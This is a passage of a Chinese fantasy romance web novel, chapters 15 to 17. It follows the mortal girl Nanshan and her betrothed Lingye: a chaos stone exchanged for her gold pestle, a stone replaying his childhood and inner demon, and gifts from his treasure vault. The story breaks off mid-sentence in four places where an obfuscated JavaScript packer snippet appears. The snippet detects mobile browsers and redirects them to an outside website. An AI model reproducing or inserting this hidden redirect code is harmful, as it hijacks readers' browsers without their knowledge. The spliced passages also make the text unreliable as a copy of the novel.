“因为你那个不情不愿的死样子,实在是太明显了。”听到他变相承认,南山彻底挺直了腰板,“道歉道成你这样,还想让我原谅?做梦吧你。” 说罢,像只骄傲的小鹅一样扭头就走。 止参赶紧拉住她,讨好:“别呀南山姑娘,我真的知道错了,你就原谅我吧……你换个角度想,我其实还算帮了你呢!要不是我把你扔水里,你又怎么能跟少主共患难一次?少主又怎么会同意你们的婚事?” 南山冷哼一声,心想说的都是什么屁话。 “我这次真是诚心来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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……他壮得像牛犊子一样,也用不着泡药浴吧。南山扯了一下唇角,更关心另一件事:“现在查得这么严,我还能出去溜达吗?” “你又不出宫,为什么不能?”止参反问。 南山一想也是,于是晚上刚吃过饭就直接出门了。 来了这么久,还是第一次光明正大地走出小院,一只脚迈出去的时候,南山心里很是紧张,在门口站了半天,确定没有乱七八糟的东西围上来,脚步才终于轻快起来。 已经是深夜,灯笼花绽放,花瓣上星星点点的光芒像是萤火虫的屁股,照出大片大片的光亮。 沧澜宫由一个个庭园组成,这一个庭院正在飞雪,下一个庭院便是夏日炎炎,唯一的相同之处便是低垂的夜空。走在其中时,上一瞬看的是巍峨的远山和云海,下一瞬走进了大片的草原和沙漠。 没来冥界前,南山去过最远的地方是县城,那里有两层的酒楼和一排排整齐的屋舍,是她见过最气派最漂亮的地方,可和眼前的景色相比,她从前所见过的县城,渺小得就像地上的一颗尘土。 “太漂亮了……” 南山快乐地穿梭在美景中,特意用红绳挂在脖颈上的降魔杵,随着她的蹦跳一下一下地晃着,纯金打造的小东西奢华美丽,她每次低头看到,都能感受到美景和金子带来的双倍快乐。 这一刻,大概没有任何东西可以打败她的好心情了……南山刚生出这样的念头,下一瞬就在经过拐角后,迎面遇上了骑着魔马的灵晔。 魔马高大威猛,一双翅膀撑开时足有四米宽,灵晔一袭银色盔甲坐在上头,月光下犹如神祇降临。 南山一直知道灵晔是高大的俊朗的,可今天看到他的模样,还是愣在了原地。 灵晔也看到了她,四目相对后他眉头轻蹙,当着身后所有侍卫的面翻身下马,径直朝她走来。 南山看着一步步靠近的他,虽然对他没什么情分,但心跳还是不受控地加快。不得不说爱美之心人皆有之,看到他这般威风英俊的模样,南山的神情都明朗了,正要主动打声招呼,就看到他三五步走到她面前,直接把她纯金的降魔杵摘了下去。 “这个不好,”他三两下把降魔杵从绳子上解下来,从怀里掏出块指甲盖大小的灰石头穿上,重新挂到她脖子上,“你戴这个。” 说罢,把纯金的降魔杵揣回了怀里,走了。 南山:“……” 15.第 15 章 事情发生得太快,直到灵晔骑着有翅膀的马飞走了,她才意识到发生了什么—— 灵晔!用一块破石头!把她纯金的降魔杵换走了! 南山眼前阵阵发黑,一口气险些没上来,阎岳匆匆经过时,就看到她游魂一样站在那儿。 “怎么跑出来了?”他走上前来。 南山猛地回神,一看到阎岳眼圈都红了,拎起脖子上的破石头颤巍巍道:“灵晔……灵晔……” 灵晔干的事儿太不要脸,愣是给告状精气得不会说话了。 阎岳看到她手里的石头,惊讶:“灵晔给你的?” “是!”南山悲愤点头。 阎岳笑了:“这是混沌石,好东西啊,有了它你的七魂六魄便等于镀了一层壳,不必再担心有邪祟啃食了。我先前替你跟灵晔讨要过,当时他说什么都不肯给,没想到如今却主动给了你。” 也就是说,这石头和降魔杵是一样的作用。 也就是说,灵晔用一样作用的破石头!换走了她纯金的降魔杵! 南山更气了:“灵晔……灵晔他……” 告状的话已经到了嘴边,她突然瞥见阎岳身后的白胡子老头,当即闭上了嘴。 阎岳顺着她的视线看去,笑了笑道:“这位便是昆仑老祖,你该唤一声老祖宗。” “老祖宗好。”南山低头行礼。 白胡子老头身宽体胖面容慈祥,却透着几分不可攀的神性,没有回应小辈的行礼,反而看向阎岳:“这位便是灵晔小儿的凡人未婚妻?” “正是,”阎岳笑道,“本来打算等婚期定下,再让他们去拜见您的,没想到今日先见着了。” 南山抬头,和白胡子老头四目相对,老头明显愣了一下。 “老祖,可有什么不妥?”阎岳看到他的反应,忍不住问一句。 白胡子老头回神,脸上闪过一丝不自然:“没事,只是看到她,突然想起一个故人。” “故人?”阎岳惊讶,“不知老祖的什么故人,会与南山相像。” “也不算特别像,只是难得见到凡人,想起一些往事罢了。”白胡子老头不想再提,转而夸奖南山,“眉有形而眼明亮,看得出是一个心地善良的姑娘。” “多谢老祖夸奖。”阎岳道了声谢,又问南山,“你方才话说到一半,灵晔怎么了?” 老头也看了过来。 南山再不懂事,也不至于在外人面前告状,抿了抿唇道:“没事,我就是想跟您说,灵晔他给了我一块破……一块石头,我以后就不用整天待在小院里了。” “这样啊,我还以为他又欺负你了呢,”阎岳松了口气,“你们没闹别扭,我也就放心了,我要离开一段时间,你们好好相处,他若是敢欺负你,你就去护法灵府找止参的父亲,他会替你出气的。” 告状没告成,靠山也要走了?南山急道:“那您什么时候回来?” “这也说不准,”阎岳叹气,“昆仑至宝万生鼎失窃的事,你应该也听说了吧,万生鼎最后出现的地点是沧澜宫,可不管是沧澜宫还是冥界其他地方,至今都没找到半点关于万生鼎的线索,我和老祖推测贼人早已离开,所以打算去别处找找。” “那万一没离开呢?”南山皱眉。 阎岳笑笑:“别担心,在我和老祖找到新线索前,冥界的搜查也不会停下。” “这样啊……”南山点了点头,认真地看着阎岳,“那您一定要万事小心,早些回来啊。” “诶!”虽然有亲生儿子,但出远门时从未收到过关心的阎岳差点热泪盈眶,最后还是听到昆仑老祖的轻咳声才冷静下来,“南山,你过来。” 南山乖巧往前一步。 “再靠近些。”阎岳招手。 南山不明所以,又走得近了几步,只见阎岳捏诀推指,一团幽紫灵力注入南山眉心,在她额上显出水滴一样的纹路后又转瞬消失。 南山抬手摸了摸,没感觉到有什么异常。 “我这一走还不知道何时回来,山高皇帝远的,灵晔若是犯浑带你乱跑,也没办法立刻阻止,”阎岳温声解释,“但我在你眉心留了一抹气息,只要有这抹气息在,不论你去了哪,我都可以找到你。” “听起来,有些像青丘的魂引之术。”白胡子老头突然开口。 偷万生鼎的人,身上便有青丘的气息,如今也在冥界出现又消失。 知道他这是疑心病犯了,阎岳笑笑:“我所留气息,不能感知她的处境,不能为她的魂魄引路,只是可以追踪她的所在,与魂引之术相比差远了。” 白胡子老头没有再追问。 南山乖乖送别阎岳,独自一人回到了住处,洗漱、铺床、躺下、闭眼。 一个时辰后,她猛然睁开了眼:“灵晔你个王八蛋!” 虽然很生灵晔的气,但最大的靠山不在家,她又没办法放弃到手的自由,所以在屋里生了两天闷气后,她还是戴着那块破石头出门闲逛了。 结果刚出门就遇见了灵晔。 和上次一样,他穿了一件银灰色盔甲,身后跟着一群侍卫,看起来又威风又英俊,可惜南山现在一看到他就想起被抢走的降魔杵,已经完全无法欣赏他的美貌。 灵晔也没想到,只是两日未见,她就失了魂一样一直盯着自己,再想想自己这两日的确一直忙着查找万生鼎,有些过于忽略她了。 “你没戴混沌石就出门了?”他问。 没想到他还敢主动提这事儿,南山登时就想发作,但一想到如今靠山不在,又打消了这个念头。 “带着呢。”她神色恹恹。 灵晔的视线落在她的脖颈上,那里空空如也。 “在哪?”他又问。 南山撩起眼皮子看了他一眼:“身上。” “哪里?” 南山:“……” “哪里?”灵晔问了第三遍。 南山深吸一口气,从衣领那翻出个内兜,石头取出来给他看一眼,再连同内兜一起塞回领子里。 “看见了?”她问。 没想到她竟然贴身带着……灵晔眼眸微动:“混沌石是难得,但也不用如此珍视。” 南山直接气笑了:“你前两天好像不是这么说的吧?” 他前两天说什么了?哦,他说混沌石比降魔杵好用。灵晔若有所思地与她对视:“我前两天说的话,你到现在还记得?” 南山:“?” “相比降魔杵,混沌石自然更高阶。”灵晔又说回混沌石。 “哦。” 南山已经不想跟他说话了,气氛果然变得略显枯燥。 灵晔浑然不觉,静了半晌突然道:“今晚一起用膳。” 南山:“?” 灵晔没再多说,直接带着侍卫们离开了,南山看着他远去的高大身影,半晌喃喃一句:“有病吧。” 第一次在白天出门散步,虽然遇见了讨人厌的家伙,但依然不能影响南山的好心情,她四下闲逛,还不小心走到了木易湖边。 湖水清澈,风吹过时波光粼粼,漂亮得像湖底雪原上七脚蛇那块伴生石。 南山看向水面,水中倒影的自己梳着两根乱糟糟的麻花辫,身上的衣裳粗糙但干净,略微伸伸手,袖子便会短上一截,露出鲜红的沉悦珠。 最近在冥界一直大鱼大肉的,好像吃胖了点。为了验证自己的想法,南山直接趴下,仔细地拿湖面当镜子照。 “我的小未婚妻……可怜……” 带着调笑的语调突然在脑海浮现,南山眼皮跳了一下,再努力回忆时,脑海里却只剩下脸颊一闪而过的痒意。 她在雪原彻底失去意识时,肯定发生过什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听说你最近忙得泡药浴的时间都没了?”南山主动给他倒了杯茶,叹气,“这可怎么好,牛角伯伯还得一会儿才会送饭来,你要是太忙的话……” “今日起就不忙了。”灵晔打断她的话,顿了顿后又道,“以后有话直说,不用试探。” 无非是希望他能抽时间陪她,她大可以直接提要求,没必要拐弯抹角。 南山照例忽略后半句:“为什么不忙了?” “万生鼎的气息又在别处出现了,冥界的嫌疑已经解除,明日起不必再严防死守。”灵晔解释。 南山恍然,随即还真生出点好奇:“听说昆仑山上都是特别厉害的神仙,到底是什么人敢去那里偷东西啊?” “身份未知,其留下的气息和法阵,似乎与青丘有些渊源。”灵晔知无不答,“但应该只是障眼法。” 南山不懂:“你为什么这么确定?” “因为……”灵晔刚说两个字,牛角人就送晚膳来了,他立刻安静下来。 南山跟牛角人打过招呼,一脸好奇地看着灵晔:“因为什么?” 灵晔拿起筷子,开始认真吃饭。 南山:“?” 直到一顿饭结束,灵晔都没有说一句话,南山看着他配着菜足足吃了两大碗米饭,最后将筷子整齐地摆到碗边,又掏出叠得方正的手帕擦了擦嘴,这才抬眸看向她。 “因为青丘早在一千年前覆灭,世间再无青丘族人。”他面色平静地接上饭前话题。 南山无言许久,突然伸手抚上他的脸。 灵晔微微一愣,没有拒绝未婚妻透着几分小心翼翼和渴求的亲昵,还体贴地把脸往她掌心送了送。 南山:体温明明正常,他为什么一副烧坏脑子的样子? 16.第 16 章 未婚夫妻的第一次用膳,算是圆满地结束了,唯一的美中不足,就是南山用膳的时间太晚,导致灵晔按照平日的正常饭量进食完,还要用灵力消食片刻才能正常入睡。 万生鼎的气息在别处出现,沧澜宫虽然还是戒备森严的样子,但南山知道那只是看上去,其实早就不像先前那么严格了,因为……灵晔突然变得很闲。 他的闲主要体现在,每天晚膳时都会出现在她的院门外,之所以不是一日三餐,是因为她早上总是一觉睡到日上三竿,然后早饭和午饭一起吃,太子爷尝试来等过她一次,最后无法接受这种早不早、中不中的饭,只能勉为其难地来吃个晚饭。 一连三天,他都是到点儿就来,认认真真吃完两大碗米饭,放下筷子就开始盯着她看,像是在等什么,可他到底在等什么呢?南山每次都一脸茫然,直到他离开都没想明白。 第四天晚上,灵晔吃完饭放下筷子,南山立刻坐直了准备接受他沉默的注视,他却突然说话了:“混沌石你还带在身上?” “……嗯?啊,带着呢。”南山掏出来给他看一眼。 这么久了,竟然还如此珍视,灵晔难得反思,自己是不是给未婚妻的太少了,才会让她对区区一块可以祛风辟邪百祟不侵的上古碎石如此珍视。 “你明日来一趟不夜阁。”他说。 南山警惕:“去那里干什么?” 灵晔:“我打算给你一些东西。” 南山:“什么东西?” “你来了才能确定。”私库里珍宝甚多,他不知她的喜好,只能让她亲自挑选。 这样一想,他对自己的救命恩人兼未婚妻了解还是甚少。 这几天跟灵晔碰面的次数过多,南山每次看到他都想躲起来,此刻听到他的邀请,顿时眉头蹙起,就差把不情不愿四个字写在脸上了。 灵晔看着她想去又怕打扰他的样子,想说不用这么瞻前顾后,又怕直接戳穿会让她没面子。他得想个办法,让她既可以保住面子,也能相信他是真心邀请。 灵晔静了片刻,突然唤她:“岁岁。” 南山:“……”他在威胁她。 “岁岁。”灵晔见她没反应,又叫一声。没有什么比叫对方小名更能拉近距离的了,南山没有小名,那叫她小时候的名字应该也没错。 南山无言与他对视良久,最后挤出一点笑意:“好的,我明天会去的。” 看,距离拉近了。灵晔微微颔首,又开始盯着她看。 南山扯了一下唇角,熟练地无视了。 看了许久,灵晔什么都没等到,最后面无表情地离开了。 托灵晔的福,南山当天晚上就梦到了阿爹要跟她断绝关系的画面,梦里阿爹身手矫健,拿着扫帚追了她二里地,一边追一边骂她为什么要把岁岁这个不吉利的名字说出去,以至于她醒来后腰酸背痛,仿佛干了一夜农活儿。 虽然答应了灵晔,但南山还是不太想去不夜阁,磨磨蹭蹭大半天,终于在傍晚前不情不愿地出发了。 这是她第二次来不夜阁,第一次是逃跑时无意间闯入,当时还险些被那些奇怪的雾撕碎,如今第二次来,走到那天被雾包围的地方时,南山仍有些提心吊胆,好在灵晔给的石头虽然破,但多少还是有点作用,那些藏在犄角旮旯的雾根本没有察觉到她的存在,就算偶尔有一丝雾气飘来,也在靠近她的刹那烟消云散。 见那些雾奈何不了自己,南山略微放松了些,按照记忆中的路线左拐右拐,最后出现在仙气飘飘的庭院里。 不夜阁的名字很是贴切,沧澜宫其他地方的天空总是昏沉沉的,只有这里始终艳阳高照,虽然阳光没什么温度,但还是让南山这个凡人心情愉快。 相比一个月前,庭院里似乎发生了些许变化,南山一边走一边张望,走过一个拐角后,便看到了熟悉的小桥流水,接着便是飘着半透白纱的亭子,以及亭子里……半裸着泡药浴的灵晔。 相同的一幕,第一次看时胆战心惊,这一次就只剩无语了。 “……你就非得在我来的时候泡药浴吗?”她很难怀疑他不是故意的。 灵晔抬眸扫了她一眼:“现在是药浴时间。” “那你也不能……” “我等了你一天。” 故意拖延的南山无法反驳,清了清嗓子道:“我现在来了,你赶紧上来吧。” “还未泡满一个时辰。”灵晔拒绝。 南山无奈:“装病秧子装上1瘾了?”他是不是忘了自己能随手打死一条七脚蛇的事了! “池中药材皆是三千年的灵药,可强身健体修身养性,”灵晔突然和她对视,“说起来,你也应该泡泡,肉身强健,方能承载灵骨。” 南山和他对视着,突然生出一种直觉—— 她要是敢表示认同,他现在会立刻邀请她进去泡澡。 “……谢谢,但不用了。”她觉得还是拒绝为妙。 好在灵晔也不勉强:“我还有一刻钟才结束,你可以四处走走。”他记得她很喜欢闲逛。 南山也不想留下看一个大男人泡澡,当即扭头就走,走了两步又折回来:“这里不会有什么阵法机关之类的吧?” 都在冥界待一个月了,她对修炼啊法术啊那些东西,多少还是知道点的。 灵晔:“没有。” 南山点了点头,又问:“哪里都能逛?” “能。” “屋子里也能?”南山追问。 灵晔:“能。” “你不会生气吧?”南山再问。 灵晔安静与她对视。 “……干嘛不说话?”南山心里没底。 灵晔眼眸微动:“我在想……” “想什么?”南山好奇。 灵晔:“该如何重建你对心悦之人的信任。” 听不懂,看来疯病又犯了。南山扭头就走。 不得不说不夜阁的主人虽疯,但不夜阁的景色却极好,这种好,不是说比沧澜宫其他地方漂亮多少,而是这里明亮的阳光、轻柔的云雾、还有那些并不奇怪的花花草草,都让南山仿佛回到了熟悉的凡间,尤其是她还发现潮湿的墙角长了青苔。 那可是青苔!是她在孙家村时最常见到的东西! 南山小心地抠下来一块,欣赏半天后小心翼翼放回去,又继续往前走。 不夜阁真是太大了,三步一景五步一画,还不像沧澜宫其他地方那样奇怪,南山越走越远,不知不觉间走到了一座竹屋门口。 灵晔自己说的可以随便逛,而且这里的门窗都开着,摆明了就是请人参观。南山没怎么纠结,便直接走了进去。 应该是书房。 房间里都是竹制的家具,靠墙的地方摆了一张桌子,上头有笔墨纸砚,东南方是整整两排书架,上面摆满了各类书册,整间屋子都透着一股平凡的气息,让南山这个凡人无端感到亲切。 她慢悠悠地在屋子里转了一圈,正准备离开时,余光里突然有什么闪过,她下意识回头,便看到墙角的花架上,摆着一块熟悉的石头。 是七脚蛇那块伴生石。 她愣了愣,迟疑地走过去,才发现石头上正映着画面。 是一个六七岁左右的男童,唇红齿白很是可爱,偏偏装出一本正经的样子,让人想在他脸上掐一下。南山觉得男童挺眼熟,没等想起在哪见过,就看到看起来二十岁左右的阎岳出现在了画面之中。 哦,原来男童是小时候的灵晔。 南山意识到石头上映出的是谁的生平后,便相当有分寸地想要离开,结果一回头直接撞在了某个坚实的胸膛上。 灵晔抬手扶住她:“这是我的母后。” 南山往后退了一步,闻言又看向石头,果然在石头上看到一个年轻秀丽的姑娘。姑娘眉眼温柔,总是带着三分笑意,丰腴的手腕上,挂着一串鲜红的珊瑚珠子。 “她也是凡人。”灵晔又道。 南山第一反应便是摸摸手腕上的珠子,半晌才轻声道:“你阿娘生得真好看。” “性子也好,”灵晔看着石头上的母亲,眸色柔和了些,“我幼时顽劣,整日和止参一起闯祸,她也从未对我发过脾气。” 石头上刚好出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032149|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幼年灵晔和幼年止参一起烧房子的画面,闯了这么大的祸,那位先冥后竟然还不生气,而是把两个皮猴子带回房中更衣。 南山发自内心地表示认同:“那她真的是个很温柔的母亲。” 言语间皆是惋惜。 她刚来冥界时就听说了,先冥后已经去世多年,如今只有他们父子相依为命。 灵晔没有察觉到她的目光,只是专注地看着青石,南山看着他认真的侧脸,突然意识到那天在雪原苏醒时,他一直盯着青石看的是什么了。 “这是人间的庙会。”灵晔突然开口。 南山回头,看着画面中热闹的凡间景象,忍不住笑了一声:“我家那边的庙会也可热闹了,尤其是正月十五的时候,附近几个村子的人都会聚到大集上,简直是人挤人。” “糖葫芦也好吃。”灵晔颔首。 像是为了印证他的说法,画面中的幼年灵晔手里突然多了一根糖葫芦,正一脸期待地咬下去……吧唧,被人撞到了地上,糖和山楂都碎得乱七八糟。 南山嘴角抽了抽,有点不忍直视。 不过幼年灵晔没哭,只是很冷静地跟着爹娘去找糖葫芦小贩,精挑细选地重新买了一根。 南山有点好奇:“糖葫芦好吃吗?” 灵晔没有回答,只是安静地看着青石。 青石上热闹的景象早已被缟素替代,小小的灵晔独自认真吃饭,不远处的廊檐下,阎岳安静搂着熟睡的先冥后。 南山意识到什么,心里突然有点发闷。她安静下来,直到青石上的小小灵晔变成了少年时的灵晔,才故作无事地开口:“我怎么感觉画面有点模糊,不会是你搬回来的时候磨花了吧。” “伴生石就是如此,用的次数越多,效果便越差,今日之后,应该就彻底不能用了。”灵晔淡淡道。 南山本来想缓和一下气氛,没想到气氛反而更沉重了,一时间也不知道该说什么。 青石上光线一闪,小小的灵晔变成了少年灵晔,意气张扬人前风光,却在回宫后跟依然年轻的阎岳吵得天翻地覆……是在吵架吧,虽然青石上没有声音,但两个人都红着脸,看对方的眼神都带着气,不像是和平说话的模样。 “你还有这么反骨的时候呢?”南山感慨,很怀疑画面里把亲爹气得脸红脖子粗的灵晔,和面前这个连婚约都不肯违逆的灵晔,到底是不是同一个人。 “我那时不听父王劝阻,坚持用激进的法子修炼,所以经常吵架,”灵晔说着,抬起下颌示意她看石头,“所以报应来了。” 南山顿了顿,便看到灵晔双眼赤红,全身灵力暴动的模样。虽然知道青石上不过是过往折射,但她还是下意识后退了一步,结果不小心撞到灵晔的肩膀上。 灵晔抬手扶了她一把,又很快放手,南山好奇地盯着青石,看着阎岳带着一大帮人涌入,又强行将他控制住,然后画面一转,变成了他独自一人躺在床上,身上因为灵力暴动造成的伤口不下一百,看上去简直血淋淋的。 “……到底是什么心魔,竟然把你伤成这样?”南山神情有些呆愣,但那一瞬间脑海里闪过许多画面,她想起小小的灵晔孤零零吃饭的模样,想起少年灵晔与阎岳吵架后泛着泪意的模样,也想到了他总是独自一人出神的模样。 虽然他淡漠、独断、没有人情味,可说到底,也不过是个早早失去母亲的可怜人罢了。南山轻轻叹了一声气,觉得以后还是应该多包容他一点。 灵晔没有察觉到她的情绪:“马上你就能看到了。” 刚说完,画面里便出现一串碎在地上的糖葫芦。 南山一时没反应过来。 灵晔看着糖葫芦,眼神晦暗。 画面过久地停留在糖葫芦上,南山嘴唇颤了颤,半晌才艰难开口:“你的心魔……是一串糖葫芦?” “那是整个小摊上,最好的一串。”灵晔想起过往,神色木然。 南山怔怔看向他:“可、可……不是又带你去买了一串吗?!” 灵晔静了静,垂眸与她对视:“退而求其次罢了。” 南山:“……” 17.第 17 章 青石上最后一个画面,是少年灵晔睁开了眼睛,原本一直是年轻模样的阎岳,也变成了南山记忆中的中年人。 然后青石闪了一下光,突然出现几道裂痕,彻底变成了普通石头。 “他说用了半生修为来救我,”灵晔缓缓开口,“但我觉得,应该不止这些。” 南山不赞同地看了他一眼:“那你还偷偷修炼。” 灵晔没什么情绪地看向她。 南山警惕后退,却还是管不住自己的嘴:“本、本来就是嘛,仙人伯伯费这么大力气救你,就是希望你能好好活着,结果你还背着他修炼,你就不怕再炼出个心魔,会让他搭上剩下的修为?” “我不会再生心魔。”灵晔目光坚定。 一串糖葫芦都会变成心魔的人,南山真的很难相信他,但也不想跟他争辩,糊弄几句就算是过去了。 然后两个人就再次陷入沉默。 南山等了半天,也没见他有说话的意思,只好主动开口:“你叫我过来,就是为了参观不夜阁?” 灵晔:“随我来。” 南山:“……”真要带她参观不夜阁啊? 虽然不知道灵晔目的是什么,但来都来了,南山当即跟了过去。 灵晔带着她左拐右拐地走,南山眼睁睁看着那些美景在他手中像是幕布一样被掀开,露出新的路和风景。 ……难怪刚才说可以随便逛,原来是因为知道她逛不到要紧地方去。南山心不在焉地跟着,突然听到他说了一句:“到了。” 南山回神,看到了一扇巨大的铁门。 “这是……” “我的私库,”灵晔看向她的眼睛,“今日带你来,是想让你挑些东西。” 挑东西?南山心头一动:“你要送我礼物?” “嗯。” 南山眼睛都亮了,却仍在矜持:“怎么突然要送我礼物了?那多不好意思呀……真的可以随便挑随便选吗?” 灵晔给出的回答,是直接用灵力打开了沉重的大门。 南山欢呼一声冲进去,一进门就险些被绊倒,站稳之后将绊自己的东西捡了起来:“这是什么?” “上阶法器听音,遇到危险时吹响这个,我在千里之外都能听到。”灵晔一向没什么表情的脸上,难得出现一点赞赏,“你眼光不错……” 话音未落,南山直接丢回了地上。 灵晔:“……” 私库里东西很多,分门别类地摆放在玄铁所铸的架子上,南山在架子中飞快穿梭,看到的不是百十斤的大砍刀,就是缺了口的泥陶碗,那个碗破得啊,她这样的穷鬼都不稀罕用。 转了一圈都没挑到想要的,南山最后停在了一排瓶瓶罐罐中间,随便拿了一罐东西打开。 “这是腐骨毒,沾之血肉模糊,但只对金丹以下有用。”灵晔游魂一样出现在她旁边。 南山赶紧把东西放回去,正擦手时,灵晔又指着一罐药跟她介绍:“这个是缠梦,谁若是想杀你,你便悄悄抹在他的伤口处,任凭他修为如何,轻则意识混乱,重则永坠梦境无法苏醒,缠梦难得,我也只有一罐,你想要的话可以给你。” “……我要这个干嘛。”南山见鬼一样把他的手推回去。 灵晔:“那你想要什么?” 南山环顾一圈,尽可能委婉:“这些都太贵重了,我哪好意思要,你要是实在想送我东西的话,不如随便给点普通的金银珠宝吧。” 她其实更想直接要回降魔杵,但想也知道他不会轻易还给她,索性就不磨嘴皮子了。 “那种俗物,我没有。”灵晔回答得很是磊落。 南山:“……” “还是给你缠梦吧。”灵晔看出来了,她就是想把好东西都给他留着,才会这也不肯要那也不肯要,于是果断把药瓶给她,又拿了一罐别的,“这个是缠梦的解药,你要是不小心沾身上了,就尽快服用。” 南山:“不用,我真的……” “这把刀也给你。” “这么重我拎不……” “这个是万年玄铁,你先拿着,以后想做什么法器,我可以为你铸造。” “真的不用……” 拒绝无效,南山收获了一堆‘废铜烂铁’。 灵晔对自己送出的礼物很满意,拿了一个绣了金边的小荷包将这些东西都装了进去,南山眼睁睁看着上百斤的大铁刀被收进小荷包,一时间眼睛都睁圆了。 “这这这怎么做到的?”她震惊地问。 灵晔将荷包递给她:“普通乾坤袋罢了。” “给我的?”南山眼睛晶亮。 灵晔:“对。” 南山欢呼一声接过荷包,撑开小口往里瞄了一眼,果然瞄到了那堆废铜烂铁,虽然荷包装满了,但拿在手上仍然轻飘飘的,仿佛那些重量都消失了一般。 没想到自己能收到这么好的东西,以后阿爹阿娘打完粮食就可以直接装这个袋袋里,不用再辛苦往家里搬,也不用再担心会有老鼠偷吃了。 “谢谢你啊灵晔。”南山笑得眼睛弯弯。 灵晔唇角浮起一点弧度:“不用客气。” 看,她还是想要那些礼物的,只不过因为不想让他破费,才会一直假装不想要,此刻见他态度坚决,才敢小心翼翼地流露出一丝喜悦。 “对了,这个给你。”南山说着,将手上的沉悦珠捋下来给他。 灵晔唇角的弧度瞬间消失:“为什么?” “这不是你母亲遗物嘛……”南山有点不好意思,“之前不知道,老拿这个威胁你,对不起啊。” 灵晔顿了顿,视线落在她掌心的沉悦珠上。珠子这段时间一直挂在她的手腕上,比先前放在架子上时不知明亮了多少,在不夜阁的阳光照射下,泛着一种生动的光泽。 “父王给你了,就是你的。”灵晔低着头,将珠串重新给她戴上。 南山还没反应过来,珠串就回到了手腕上,她看着灵晔垂下的眼睫,正想开口说什么,门口突然传来止参的声音:“……我是不是来得不是时候?” 两人还保持戴珠串的动作,闻言同时回头,就看到止参抱臂靠在弯弯的门洞上,正贱嗖嗖地打量他们。 南山白了他一眼,正好提出离开:“没什么事我就先走了。” 说罢不给灵晔反应的机会,便直接往外走,经过止参身边时,被止参给拦住了。 “我说,”止参把她从头到脚打量一遍,嫌弃道,“冥主没有给你准备换洗衣物吗?怎么老穿你这身破衣裳。” 自从止参在木易湖泡了三天三夜,泡得伤口浮囊皮开肉绽后,两人总算握手言和,如今也能说上几句话了。 “你衣裳才破!”南山冷哼一声,拿下巴看他,“我这是阿娘亲自做的!” “所以冥主真没叫人给你准备衣物?”止参虚心请教,灵晔也看了过来。 当然准备了,只是沧澜宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15032150|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里所有人都默认她修为很高,所以给她准备的都是需要用灵力才能穿上的法衣,她又不能跟仙人伯伯说她其实一点灵力都没有,只能假装自己一点都不喜欢那些漂亮衣服了,每天靠屋里本来就有的清洁珠来清理衣裳。 但这些话肯定是不能跟止参说的,否则又会招来嘲笑。南山脑子转了转,继续嘴硬:“准备了啊,我不乐意穿行吗?我就喜欢我阿娘做的这身,我阿娘做的衣裳是最好看、最适合我的!” “瞎说什么,怎么可能有人放着锦衣华服不喜欢,喜欢这种打了补丁的短衣。”止参无情拆穿。 南山又白了他一眼,正要再反驳几句,就听到灵晔清冷的声音从身后响起:“是我疏忽了。” “关你什么事?”止参的注意力转移,南山赶紧溜走了。 不知道是不是因为自己去不夜阁做了次客,让灵晔深刻意识到招待客人是一件很烦人的事,从而反思到自己也是个烦人的客人,接下来两三天,他都没再来南山住处吃晚膳。 南山一个人乐得清闲,每天一个人吃吃喝喝,偶尔再出去散个步,除了有点想家,日子过得简直轻松愉快。 可惜这种轻松愉快在时隔几天再次在自己院中看到灵晔时,就一瞬间消失了。 “我已经吃过晚饭了!”南山抢在他前面开口。 灵晔:“你没有。” 南山:“……” 灵晔眉头突然蹙起:“你不想跟我一起用晚膳。” “那什么……也不是,我就是最近胖了些,不想吃晚饭。”南山没想到他会这么敏锐,赶紧找借口。 灵晔却很难被糊弄过去:“为什么?” 南山:“……” 气氛在沉默中变得僵硬,一同僵硬的还有灵晔的神色。他不是个蠢人,甚至比一般人要聪明,领悟力也更好,先前没注意也就算了,此刻一旦发现不对,前些日子的那些晚膳便也跟着变了意味。 南山抿了抿发干的唇,还没想出合理的解释,灵晔突然朝她走了一步,她后背登时绷紧,下意识就想后退,只是对上灵晔的视线后,又强迫自己站稳。 灵晔却没有为难她的意思,只是板着脸交给她一个荷包。 和上次的乾坤袋长得一样,都有软软的花边。 “这里头有一百件衣裳,是我专程去凡间找人裁制的,不需要用灵力也能穿上。”灵晔说完,便直接离开了。 南山愣在原地许久,低头看向荷包时,心里突然生出些愧疚。 其实仔细想想,他虽然能吃了点奇怪了点,但除了吃饭也没做别的事,而且吃饭的时候斯文温吞,好看得像一幅画,她一边吃一边看,都能比平时多吃半碗饭。 